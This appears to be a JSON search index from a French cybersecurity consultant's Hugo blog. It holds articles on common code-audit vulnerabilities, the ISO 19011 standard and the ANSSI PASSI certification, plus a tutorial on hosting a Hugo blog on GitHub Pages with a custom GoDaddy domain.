fonctions non sécurisées : L\u0026rsquo;utilisation de fonctions non sécurisées ou obsolètes peut rendre l\u0026rsquo;application vulnérable à des attaques, par exemple, l\u0026rsquo;utilisation de fonctions de hachage faibles (exemple : MD5) qui peuvent être facilement déchiffrées.\nDépassement de tampon (Buffer Overflow) : Une mauvaise gestion des tampons peut permettre aux attaquants d\u0026rsquo;écrire des données malveillantes dans des zones mémoires adjacentes, entraînant des exécutions de code arbitraire (exemple : une variable tampon est débordée avec des données malveillantes =\u0026gt; AAAAAAAAAAAAAAAAAAAA pour faire de l\u0026rsquo;écrasement de mémoire).\nMauvaise gestion des droits : Une application qui accorde des privilèges excessifs à des utilisateurs non autorisés peut permettre aux attaquants d\u0026rsquo;accéder à des fonctionnalités ou à des données sensibles (exemple : un utilisateur non administrateur peut accéder à des pages d\u0026rsquo;administration).\nUtilisation de mots de passe en clair : Stocker les mots de passe des utilisateurs sans cryptage expose les informations sensibles en cas de violation de la base de données (exemple : stocker les mots de passe en texte brut au lieu de les hacher).\nExposition d\u0026rsquo;informations sensibles : L\u0026rsquo;exposition non autorisée de données sensibles, tels que les numéros de sécurité sociale, les informations financières, etc., peut entraîner une violation de la confidentialité et des atteintes à la vie privée (exemple : rendre accessible des informations sensibles via des API non sécurisées).\nUtilisation de composants obsolètes ou vulnérables : L\u0026rsquo;incorporation de composants logiciels obsolètes ou ayant des vulnérabilités connues peut ouvrir des portes aux attaquants qui exploitent ces faiblesses pour compromettre l\u0026rsquo;application (exemple : utilisation d\u0026rsquo;une version non corrigée d\u0026rsquo;une bibliothèque tiers).\nMauvaise gestion des sessions : Une mauvaise gestion des sessions peut conduire à des vulnérabilités de vol de session, d\u0026rsquo;usurpation d\u0026rsquo;identité et d\u0026rsquo;accès non autorisé (exemple : sessions sans expiration ou non invalidées après la déconnexion).\nInclusion de fichiers non sécurisée (Local File Inclusion) : L\u0026rsquo;inclusion de fichiers distants ou non vérifiés peut permettre aux attaquants d\u0026rsquo;accéder à des fichiers sensibles sur le serveur ou d\u0026rsquo;exécuter du code malveillant (exemple : inclusion de fichiers basée sur des entrées utilisateur non filtrées).\nUtilisation de protocoles de communication non sécurisés : L\u0026rsquo;utilisation de protocoles non sécurisés, tels que HTTP non chiffré, expose les données de l\u0026rsquo;application à des interceptions et à des attaques d\u0026rsquo;écoute passive (exemple : transmission de mots de passe en clair).\nAbsence de contrôles d\u0026rsquo;accès : L\u0026rsquo;absence de contrôles d\u0026rsquo;accès appropriés peut permettre aux utilisateurs non autorisés d\u0026rsquo;accéder à des fonctionnalités sensibles ou restreintes (exemple : un utilisateur non authentifié peut accéder à des pages d\u0026rsquo;administration).\nExposition de points d\u0026rsquo;API non sécurisés : Des API mal configurées peuvent permettre aux attaquants d\u0026rsquo;accéder à des données ou des fonctionnalités sensibles sans authentification appropriée (exemple : des API sans clés d\u0026rsquo;API ou avec des autorisations trop permissives).\nErreurs de configuration de sécurité : La mauvaise configuration des paramètres de sécurité, tels que les fichiers de configuration ou les autorisations de fichiers, peut exposer l\u0026rsquo;application à des risques inutiles (exemple : accès public à des fichiers de configuration contenant des informations sensibles).\nUtilisation de bibliothèques et de frameworks non sécurisés : L\u0026rsquo;utilisation de versions obsolètes ou vulnérables de bibliothèques et de frameworks peut exposer l\u0026rsquo;application à des failles de sécurité connues (exemple : utilisation d\u0026rsquo;une version de bibliothèque qui contient une vulnérabilité corrigée dans les versions ultérieures).\nUtilisation excessive de commentaires sensibles dans le code source : L\u0026rsquo;inclusion de commentaires sensibles dans le code peut exposer des informations confidentielles sur le fonctionnement interne de l\u0026rsquo;application (exemple : inclusion de mots de passe ou de clés API dans les commentaires).\nAbsence de mécanismes de protection contre les attaques par force brute : L\u0026rsquo;absence de mécanismes de protection, tels que des délais de verrouillage des comptes ou des CAPTCHA, peut faciliter les attaques par force brute contre les comptes d\u0026rsquo;utilisateurs (exemple : pas de limitation du nombre de tentatives de connexion).\nDocumentation utile à garder sous la main # Extrait référentiel PASSI ","date":"1 janvier 2023","permalink":"/cyber-posts-audits/audit-code/","section":"Cyber-Posts-Audits","summary":"Cet article technique dévoile les objectifs, la méthodologie étape par étape, et les vulnérabilités courantes identifiées lors d\u0026rsquo;un audit de code.","title":"Audit de Code : La quête des vulnérabilités cachées dans vos applications."},{"content":" Introduction à l\u0026rsquo;ISO 19011 : Lignes directrices pour l\u0026rsquo;audit de systèmes de management # L\u0026rsquo;ISO 19011 est une norme internationale développée par l\u0026rsquo;Organisation internationale de normalisation (ISO). Publiée pour la première fois en 2002, cette norme a été révisée en 2011 pour refléter les dernières pratiques et évolutions en matière d\u0026rsquo;audit de systèmes de management. L\u0026rsquo;ISO 19011 fournit des lignes directrices essentielles pour les auditeurs, leur permettant de mener des évaluations systématiques, impartiales et efficaces des systèmes de management, y compris ceux liés à la qualité, à l\u0026rsquo;environnement, à la santé et à la sécurité au travail, à la sécurité des systèmes d\u0026rsquo;information, et bien d\u0026rsquo;autres domaines.\nLes objectifs de l\u0026rsquo;ISO 19011 : # L\u0026rsquo;ISO 19011 vise à établir des principes et des lignes directrices pour les audits de systèmes de management afin de :\nAssurer une approche cohérente et harmonisée des audits, quel que soit le domaine spécifique du système de management. Favoriser l\u0026rsquo;amélioration continue des systèmes de management grâce à des évaluations régulières et pertinentes. Renforcer la confiance des parties prenantes (clients, actionnaires, organismes de réglementation, etc.) dans l\u0026rsquo;efficacité et la performance des systèmes de management. Fournir des orientations pour les auditeurs, tant internes qu\u0026rsquo;externes, en matière de compétences, de comportement et d\u0026rsquo;éthique professionnelle. Les grands axes de l\u0026rsquo;ISO 19011 : # L\u0026rsquo;ISO 19011 met l\u0026rsquo;accent sur cinq grands axes pour la réalisation d\u0026rsquo;audits de systèmes de management de qualité :\nPrincipes d\u0026rsquo;audit # Cette partie énonce les principes fondamentaux qui guident les auditeurs tout au long du processus d\u0026rsquo;audit. Ces principes incluent l\u0026rsquo;intégrité, l\u0026rsquo;éthique, l\u0026rsquo;indépendance, l\u0026rsquo;approche basée sur les preuves, la gestion des risques et la confidentialité. Ils garantissent que l\u0026rsquo;audit est mené de manière juste, impartiale et systématique, en utilisant des éléments factuels pour évaluer la conformité et l\u0026rsquo;efficacité du système de management.\nGestion d\u0026rsquo;un programme d\u0026rsquo;audit # Cette section aborde les aspects pratiques de la planification, de la mise en œuvre et de l\u0026rsquo;amélioration d\u0026rsquo;un programme d\u0026rsquo;audit. Elle explique comment établir un plan d\u0026rsquo;audit, définir les objectifs et les critères d\u0026rsquo;audit, sélectionner les auditeurs qualifiés, gérer les ressources, et suivre les résultats des audits pour assurer leur efficacité.\nRéalisation d\u0026rsquo;audits # Cette partie couvre les étapes clés de la réalisation d\u0026rsquo;un audit, depuis la préparation initiale jusqu\u0026rsquo;à la communication des résultats. Elle explique comment effectuer des entrevues avec le personnel, collecter et analyser des preuves, évaluer la conformité, et identifier les opportunités d\u0026rsquo;amélioration. Elle met également l\u0026rsquo;accent sur la communication ouverte et constructive avec l\u0026rsquo;organisation auditée pour faciliter la compréhension et l\u0026rsquo;acceptation des résultats d\u0026rsquo;audit.\nCompétences et évaluation des auditeurs # Cette section détaille les compétences nécessaires pour être un auditeur qualifié et compétent. Elle fournit des orientations pour évaluer les compétences des auditeurs, développer leurs connaissances techniques et comportementales, et veiller à ce qu\u0026rsquo;ils maintiennent leur niveau de compétence tout au long de leur carrière.\nEvaluation des personnes réalisant des audits de systèmes de management # Cette partie s\u0026rsquo;applique aux organismes de certification et aux organismes d\u0026rsquo;accréditation impliqués dans l\u0026rsquo;évaluation des personnes réalisant des audits de systèmes de management. Elle définit les exigences en matière de qualification, d\u0026rsquo;expérience et de compétences pour les auditeurs, garantissant ainsi l\u0026rsquo;intégrité et la crédibilité du processus de certification.\n","date":"31 janvier 2023","permalink":"/cyber-posts-audits/iso-19011/","section":"Cyber-Posts-Audits","summary":"Cet article propose une analyse approfondie de l\u0026rsquo;ISO 19011, la norme incontournable fournissant des directives essentielles pour réaliser des audits efficaces et rigoureux, favorisant ainsi la performance et la conformité des systèmes de management.","title":"Décryptage de l'ISO 19011 : Lignes directrices essentielles pour des audits de qualité."},{"content":"","date":"31 janvier 2023","permalink":"/tags/iso-19011/","section":"Tags","summary":"","title":"ISO 19011"},{"content":" Introduction # Tout d\u0026rsquo;abord, PASSI, dans le cadre de l\u0026rsquo;ANSSI, fait référence à une méthode d\u0026rsquo;évaluation de la sécurité des systèmes d\u0026rsquo;information. Le terme \u0026ldquo;PASSI\u0026rdquo; signifie \u0026ldquo;Prestation d\u0026rsquo;Assistance en matière de Sécurité des Systèmes d\u0026rsquo;Information\u0026rdquo;. Il s\u0026rsquo;agit d\u0026rsquo;une prestation proposée par l\u0026rsquo;ANSSI qui permet aux organisations publiques ou privées d\u0026rsquo;évaluer la sécurité de leurs systèmes d\u0026rsquo;information en faisant appel à des experts certifiés par l\u0026rsquo;ANSSI.\nJe vais passer les 5 portées certifiantes par l\u0026rsquo;ANSSI, et pour cela, je rédige une série d\u0026rsquo;articles qui ont pour objectif ce synthétiser les différents points découverts tout le long.\nISO 19011 # L\u0026rsquo;ISO 19011 est une norme internationale qui fournit des lignes directrices pour l\u0026rsquo;audit de systèmes de management, y compris les audits liés à la sécurité des systèmes d\u0026rsquo;information. Cette norme joue un rôle crucial dans le contexte du PASSI, car elle définit les principes et les processus fondamentaux de l\u0026rsquo;audit, ainsi que les compétences requises pour mener à bien ces évaluations. Pour réussir le PASSI, les auditeurs doivent être familiers avec les directives de l\u0026rsquo;ISO 19011 et être en mesure de les appliquer de manière cohérente tout au long du processus d\u0026rsquo;audit. Cette norme met l\u0026rsquo;accent sur des éléments tels que la planification de l\u0026rsquo;audit, la collecte de preuves, l\u0026rsquo;analyse des résultats, la communication des conclusions, et la surveillance des actions correctives. Se conformer à l\u0026rsquo;ISO 19011 garantit que l\u0026rsquo;audit est mené de manière méthodique, impartiale et efficace, ce qui contribue à l\u0026rsquo;obtention de résultats fiables et pertinents.\nAudit Organisationnel # L\u0026rsquo;audit organisationnel est la première étape cruciale dans la préparation au PASSI. Elle exige une compréhension approfondie des processus et des politiques de sécurité de l\u0026rsquo;organisation. Vous devrez vous familiariser avec les normes de sécurité en vigueur, telles que ISO 27001, et comprendre leur mise en œuvre dans l\u0026rsquo;entreprise. Il est important de se concentrer sur l\u0026rsquo;identification et l\u0026rsquo;évaluation des risques liés à la sécurité des systèmes d\u0026rsquo;information. Vous devrez également analyser la gouvernance de la sécurité, les rôles et les responsabilités des différents acteurs impliqués dans la sécurité de l\u0026rsquo;organisation. La documentation et la communication des résultats sont des compétences essentielles pour cette portée.\nAudit de Configuration # L\u0026rsquo;audit de configuration implique l\u0026rsquo;évaluation des configurations techniques des systèmes, des applications et des périphériques utilisés dans l\u0026rsquo;organisation. Pour cette étape, il est essentiel d\u0026rsquo;acquérir une connaissance approfondie des meilleures pratiques de sécurité pour la configuration des systèmes d\u0026rsquo;exploitation, des bases de données, des pare-feu, des routeurs, etc. Vous devrez identifier les paramètres de sécurité mal configurés, les vulnérabilités potentielles et les éventuelles erreurs de configuration. Une expertise en outils d\u0026rsquo;audit de sécurité, tels que Nessus ou OpenVAS, peut s\u0026rsquo;avérer précieuse pour automatiser certaines tâches de découverte et d\u0026rsquo;analyse des vulnérabilités.\nAudit d\u0026rsquo;Architecture # Dans cette étape, vous examinerez en détail l\u0026rsquo;architecture globale du système d\u0026rsquo;information de l\u0026rsquo;organisation. Cela implique de comprendre la conception des réseaux, des serveurs, des applications et des services, ainsi que les interactions entre eux. Une solide connaissance des principes de conception sécurisée est nécessaire pour identifier les éventuelles failles de sécurité et les points de vulnérabilité dans l\u0026rsquo;architecture. Vous devrez également être capable d\u0026rsquo;évaluer la résilience du système face aux attaques potentielles et de proposer des mesures d\u0026rsquo;amélioration pour renforcer la sécurité de l\u0026rsquo;infrastructure.\nAudit de Code # L\u0026rsquo;audit de code est une étape fondamentale pour évaluer la sécurité des applications développées en interne ou utilisées par l\u0026rsquo;organisation. Vous devrez vous familiariser avec les principaux langages de programmation utilisés dans l\u0026rsquo;entreprise et comprendre les meilleures pratiques de sécurité liées au développement logiciel, telles que l\u0026rsquo;évitement des injections SQL, la gestion des sessions sécurisées, la validation des entrées, etc. L\u0026rsquo;utilisation d\u0026rsquo;outils d\u0026rsquo;analyse statique et dynamique du code, comme SonarQube ou OWASP ZAP, est essentielle pour identifier les vulnérabilités et les erreurs de programmation susceptibles d\u0026rsquo;être exploitées par des attaquants.\nAudit Test d\u0026rsquo;Intrusion # L\u0026rsquo;audit test d\u0026rsquo;intrusion, souvent appelé \u0026ldquo;pentest\u0026rdquo;, est l\u0026rsquo;étape finale et la plus pratique du PASSI. Elle consiste à simuler une attaque réelle sur les systèmes de l\u0026rsquo;organisation pour évaluer leur résistance face à une intrusion potentielle. Pour cette portée, vous devrez vous former aux méthodes d\u0026rsquo;attaque courantes, telles que l\u0026rsquo;ingénierie sociale, le scan de ports, l\u0026rsquo;exploitation de vulnérabilités, etc. Vous devrez également apprendre à documenter rigoureusement chaque étape du test et à fournir des recommandations pour améliorer la sécurité des systèmes testés. Une bonne connaissance des lois et réglementations en matière de cybersécurité est essentielle, car les tests d\u0026rsquo;intrusion doivent être effectués de manière légale et éthique.\nConclusion # Je vais rédiger, 1 article par portée qui résume globalement mes découvertes sur les différentes portées. Chaque article qui suivera celui-ci sera principalement composé de : - Objectif de l\u0026rsquo;audit - Suite à quel type d\u0026rsquo;audit - Méthodologie d\u0026rsquo;audit - Déroulement de l\u0026rsquo;audit - Attendus clients - Quelques vulnérabilités types de l\u0026rsquo;audit - Documentation pratique ANSSI (ou autre)\n","date":"30 janvier 2023","permalink":"/cyber-posts-audits/passi/","section":"Cyber-Posts-Audits","summary":"Cet article présente différents points sur le PASSI et les différentes portées de la certification PASSI, offrant un aperçu approfondi du monde mature de la cybersécurité.","title":"PASSI"},{"content":"","date":"29 janvier 2023","permalink":"/tags/blog/","section":"Tags","summary":"","title":"Blog"},{"content":"","date":"29 janvier 2023","permalink":"/tags/d%C3%A9veloppement/","section":"Tags","summary":"","title":"Développement"},{"content":" Introduction # Créer du contenu technique est une compétence qui s\u0026rsquo;améliore avec la pratique, et une manière facile de partager ses connaissances technologiques est de créer un blog et de le partager sur Internet. Une idée fausse courante est que créer son propre site web ou blog nécessite des compétences techniques (comme de l\u0026rsquo;expérience avec les bases de données, les serveurs web, un système de gestion de contenu comme WordPress, ou des machines virtuelles) et un investissement financier (location d\u0026rsquo;une machine virtuelle auprès d\u0026rsquo;un fournisseur de cloud public ou hébergement sur son propre homelab).\nIdéalement, nous avons trois objectifs lors de la création et de la maintenance d\u0026rsquo;un blog :\nCoût nul ou faible - Gratuit ou aussi proche que possible de la gratuité. Productivité - Facile à rédiger et à maintenir. Cloud Native - Utilisation de services cloud publics pour l\u0026rsquo;hébergement, permettant une mise à l\u0026rsquo;échelle infinie. Pour le faire, j\u0026rsquo;ai décidé de choisir les éléments suivants :\nMarkdown - Un langage de balisage extrêmement facile à lire nativement, facile à écrire et pouvant être facilement converti en HTML. Souvent maîtrisé par les personnes ayant pour objectif de créer du contenu technique. Hugo - Un générateur de sites statiques écrit en langage Go qui permet de rendre le contenu écrit en Markdown en pages HTML. GitHub Pages - Un service de GitHub qui héberge du contenu web (tel que des pages HTML) stocké dans un référentiel GitHub. Gratuit, rien de mieux pour optimiser les coûts de son blog Godaddy - Service provider qui m\u0026rsquo;a permis d\u0026rsquo;acheter mon DNS à 1€ pour la 1ère année. Dans cet article, nous allons montrer comment créer gratuitement ton propre blog en utilisant les technologies mentionnées ci-dessus. Nous construirons notre blog en utilisant un hôte Archlinux (bien que la plupart des instructions soient réalisables sur n\u0026rsquo;importe quel système d\u0026rsquo;exploitation Linux, y compris Windows Subsystem for Linux [WSL]).\nInstallation des dépendances # Il faut principalement que la CLI Hugo pour le faire sur linux :\nsudo snap install hugo --channel=extended Pour les autres systèmes d\u0026rsquo;exploitation, il est recommandé de revenir vers la documentation Hugo.\npour vérifier que Hugo est bien installé, il suffit de lancer la commande :\nhugo help Il faudra aussi par la suite git, donc il faut s\u0026rsquo;assurer d\u0026rsquo;en avoir un.\nCréation du site Hugo # Création initiale # Une fois hugo installé, on peut créer un nouveau blog avec Hugo grace à la commande :\nhugo new site \u0026lt;insérer votre nom de blog\u0026gt; Pour tester que tout marche vous pouvez vous aider des commandes hugo qui permet de vérifier la configuration actuelle et hugo server pour lancer un serveur en hot reload pour afficher le contenu du blog.\nAjout du thème # Il faudra installer un thème Hugo pour personaliser votre blog. Heureusement pour vous, Hugo fournit un catalogue complet de différents thèmes déjà bien documentées et bien utilisées.\nUne fois votre choix fait, il suffit d\u0026rsquo;installer le thème. Dans le cadre de ce tutoriel, j\u0026rsquo;utiliserai blowfish qui me parait pluôt très complet et permet de réaliser différentes configuration. (Attention, petit downside, dès qu\u0026rsquo;un outil est complet, il faut le configurer pour qu\u0026rsquo;il corresponde à tout ce qu\u0026rsquo;il permet de réaliser)\ngit submodule add https://github.com/nunocoracao/blowfish.git themes/blowfish Une fois installé, il faudra faire différentes manipulations déjà bien détaillées dans le guide officiel de blowfish, mais je présenterai quand même les principales.\nD\u0026rsquo;abord, il est idéal de créer un dossier à la racine config/_default qui est pris par défaut par Hugo au lancement de l\u0026rsquo;application ou au build. Puis mettez dessus tous les fichiers de configuration .toml utilisées par le thème, pour le faire :\ncp themes/blowfish/**/*.toml config/_default vous aurez alors une liste de fichiers, le config.toml à renomer en hugo.toml comme il s\u0026rsquo;agit du nouveau nom du fichier de configuration de Hugo depuis la maj 0.87.\nIl faut aussi modifier sur ce fichier les éléments suivants :\ntheme = \u0026#34;blowfish\u0026#34; baseURL = \u0026#34;\u0026lt;votre_pseudo_github\u0026gt;.github.io\u0026#34; defaultContentLanguage = \u0026#34;en\u0026#34; defaultAppearance= \u0026#34;dark\u0026#34; Les fichiers sont assez bien documentés globalement, et si vous voulez plus d\u0026rsquo;inspiration pour des modèles plus poussés pour en tirer un maximum, Blowfish fournit un repo des exemples avec des liens vers les github et les configurations particulières.\nexemples fournis par Blowfish Créer votre premier article # Pour ça, c\u0026rsquo;est très simple, il suffit d\u0026rsquo;utiliser la CLI Hugo encore une fois :\nhugo new posts/first-post.md Et puis VOILÀ, vous pouvez déjà poster votre premier post.\nDéployer le site # Maintenant que vous êtes content de votre blog, ce serait bien de pouvoir le partager avec tout le monde. Pour ce faire, on va utiliser les github pages.\nAvant de faire une quelconque manipulation, c\u0026rsquo;est important de créer un fichier .gitignore à la racine de votre projet avec comme contenu par exemple :\npublic/ Pour ne pas versionner vos builds.\nIl suffit de créer un repository sur Github, idéalement pour ne pas avoir à faire du routage de nommer le repo de la forme suivante \u0026lt;username_github\u0026gt;.github.io. Autrement, Github va par défaut servir votre site plutôt sur le \u0026lt;username_github\u0026gt;.github.io/\u0026lt;nom_du_repo\u0026gt;.\nPar la suite, github vous fournit les étapes pour push votre dossier déjà existant, sinon vous pouvez utiliser la suite pour le faire directement à l\u0026rsquo;entiereté du repo :\ngit init git add -A git commit -m \u0026#34;Initial commit\u0026#34; git branch -M main git remote add origin \u0026lt;origine_donnée_par_github\u0026gt; git push -u origin main Une fois push, plus qu\u0026rsquo;à lancer le déploiement.\nPour cela, on va utiliser les Github Actions workflows.\nPour cela, commencez par créer un fichier de configuration :\ntouch .github/workflows/deploy_gh.yml Dans lequel on va ajouter le contenu suivant :\n--- name: Deploy Hugo site via GitHub Pages on: push: branches: - main permissions: contents: write jobs: deploy: runs-on: ubuntu-22.04 steps: - uses: actions/checkout@v2 with: submodules: true fetch-depth: 0 - name: Setup Hugo uses: peaceiris/actions-hugo@v2 with: hugo-version: \u0026#34;latest\u0026#34; extended: true - name: Build run: hugo --minify - name: Deploy uses: peaceiris/actions-gh-pages@v3 if: github.ref == \u0026#39;refs/heads/main\u0026#39; with: github_token: ${{ secrets.GITHUB_TOKEN }} publish_dir: ./public Une fois de nouveau push toutes les modifications sur le repo, vous pouvez aller vérifier que tout est réalisé comme vous le souhaitiez.\nUne fois sur la partie pages, vous allez pouvoir modifier la source des github pages : Une fois selectionné la bonne source comme indiqué sur le screen suivant :\nÀ partir de là, vous pouvez accéder directement à votre site depuis l\u0026rsquo;url \u0026lt;identifiant_github.github.io\u0026gt;\nUtiliser son propre DNS # Comme expliqué au début, j\u0026rsquo;ai opté pour GoDaddy pour acheter mon DNS. Du coup le tuto sera plutôt axé sur comment utiliser GoDaddy pour le blog.\nAjouter son DNS sur son profile Github : # La première étape est d\u0026rsquo;ajouter votre DNS à votre profile Github, l\u0026rsquo;objectif est de valider que vous en êtes bien le détenteur.\nPour le faire, il faut se rendre aux paramètres github, puis sur la partie Pages\nUne fois sur la bonne page, cliquer sur le \u0026ldquo;Add a verified domain\u0026rdquo; et puis suivre les étapes : Et de l\u0026rsquo;autre côté, il faut se rendre à sa console GoDaddy, et partir à la partie gestion du domaine puis y ajouter un record TXT avec les éléments fournis par Github comme dans l\u0026rsquo;image : Une fois fait, il suffit de valider sur Github et le domaine est maintenant validé.\nMaintenant que vous avez fait ça, il faut aussi ajouter 5 entrées DNS sur votre GoDaddy avec les éléments suivants :\nType Name Data TTL A @ 185.199.108.153 600seconds A @ 185.199.109.153 600seconds A @ 185.199.110.153 600seconds A @ 185.199.111.153 600seconds CNAME www \u0026lt;usernamegithub\u0026gt;.github.io 1 Hour Il faudrait aussi ajouter à la racine de votre projet un fichier CNAME qui contient principalement votre nom de domaine\n\u0026lt;nom_de_domaine\u0026gt; Il reste plus qu\u0026rsquo;à commit le code et puis push.\nNormalement là votre blog sera accessible depuis votre nom de domaine au bout de quelques minutes.\nEt puis à la toute fin, il suffit d\u0026rsquo;activer le HTTPS (ça peut prendre jusqu\u0026rsquo;à 1h, le temps d\u0026rsquo;émettre un certificat pour le HTTPS et puis de tout configurer côté Github)\nEt vous voilà, tout est configuré, il suffit d\u0026rsquo;écrire vos articles et de push et au bout de quelques minutes, tout sera sur le site automatiquement.\n","date":"29 janvier 2023","permalink":"/dev-posts/blog/","section":"Dev-Posts","summary":"J\u0026rsquo;ai rédigé cet article afin de partager comment ce blog a été réalisé. Il a coûté uniquement le prix du DNS à l\u0026rsquo;année et est rédigé entièrement en Markdown, aucune connaissance autre n\u0026rsquo;est nécessaire.","title":"Faire son blog en 10 minutes"},{"content":" 🎓 Diplômé d’un Master of Engineering en Informatique et Cybersécurité @CentraleSupélec 🔐 Consultant et Auditeur en Cybersécurité, co-fondateur et CTO d’une startup dans la cybersécurité. 📚 Passionné par l’open source et toujours à la recherche de projets intéressants auxquels contribuer. 📫 Disponible via LinkedIn pour échanger autour d’un café virtuel ☕. ","date":"1 janvier 0001","permalink":"/about/","section":"blog","summary":"\u003cp\u003e\u003ca href=\"https://github.com/qbecb1zen\"   target=\"_blank\"\u003e\n    \n\n\n\n\n  \u003cfigure\u003e\n    \u003cimg class=\"my-0 rounded-md\" src=\"https://readme-typing-svg.herokuapp.com/?center=true\u0026amp;vCenter=true\u0026amp;color=32a83a\u0026amp;height=100\u0026amp;width=1000\u0026amp;lines=Toujours\u0026#43;en\u0026#43;train\u0026#43;d%e2%80%99apprendre...;Consultant\u0026#43;%26\u0026#43;Auditeur\u0026#43;en\u0026#43;Cybers%c3%a9curit%c3%a9\u0026#43;%f0%9f%94%90;Co-fondateur\u0026#43;%26\u0026#43;CTO\u0026#43;d%e2%80%99une\u0026#43;startup\u0026#43;cyber\u0026#43;%f0%9f%9a%80;N%e2%80%99h%c3%a9sitez\u0026#43;pas\u0026#43;%c3%a0\u0026#43;me\u0026#43;contacter\u0026#43;%f0%9f%93%ab\" alt=\"Typing SVG\" /\u003e\n    \n  \u003c/figure\u003e\n\n\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e🎓 Diplômé d’un Master of Engineering en Informatique et Cybersécurité @\u003ca href=\"https://www.centralesupelec.fr\" target=\"_blank\"\u003eCentraleSupélec\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cbr/\u003e\n\u003cul\u003e\n\u003cli\u003e🔐 Consultant et Auditeur en Cybersécurité, co-fondateur et CTO d’une startup dans la cybersécurité.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cbr/\u003e\n\u003cul\u003e\n\u003cli\u003e📚 Passionné par l’open source et toujours à la recherche de projets intéressants auxquels contribuer.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cbr/\u003e\n\u003cul\u003e\n\u003cli\u003e📫 Disponible via LinkedIn pour échanger autour d’un café virtuel ☕.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e","title":""},{"content":"","date":"1 janvier 0001","permalink":"/authors/","section":"Authors","summary":"","title":"Authors"},{"content":"","date":"1 janvier 0001","permalink":"/series/","section":"Series","summary":"","title":"Series"}]